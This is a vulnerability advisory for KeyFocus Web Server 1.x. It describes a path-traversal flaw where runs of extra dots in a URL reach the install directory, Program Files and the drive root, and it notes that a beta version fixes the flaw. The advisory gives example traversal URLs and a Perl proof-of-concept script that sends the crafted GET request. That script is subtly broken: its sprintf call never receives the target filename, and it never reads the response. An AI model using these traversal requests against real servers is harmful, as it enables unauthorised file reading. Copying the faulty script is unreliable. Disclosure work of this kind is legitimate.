keyfocus.txt

`KeyFocus Web server is a Win32 HTTP server with web administration, a  
variety of logging formats, such as NCSA and W3C, CGI, compression, memory  
caching of static documents, directory indexing, pre-defined MIME settings,  
internal authentication with support for multiple realms, and a variety of  
URL checks that make it more secure against hacking attempts such as buffer  
overruns.  
  
KFWS 1.x contains a flaw that enables attackers to traverse above the  
webroot in the directory structure. This is not a traditional directory  
traversal attack. KFWS does not properly handle consecutive dot characters  
in the file name:  
  
http://kfws/. - Current Directory  
http://kfws/.. - 403 Forbidden  
http://kfws/... - KFWS install dir (OOPS!)  
http://kfws/.... - Program Files  
http://kfws/..... - \  
  
This vulnerability is limited by the internal hack defenses of the server  
-- only files with recognized MIME types can be retreived. This  
significantly limits the damage from this vulnerability.  
  
KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable  
version will eliminate the flaw as well. Administrators who are concerned  
about this flaw should upgrade to the beta.  
  
I've included a Perl script to demonstrate this vulnerability:  
  
#!/usr/bin/perl  
use URI::Escape;  
use IO::Socket;  
if (@ARGV < 2) {  
print STDOUT "Usage: perl $0 [filename] [host] [port]";  
} else {  
$f =  
IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp");  
$url = uri_escape($ARGV[0]);  
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");  
print $f $exploit;  
undef $f;  
}  
  
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`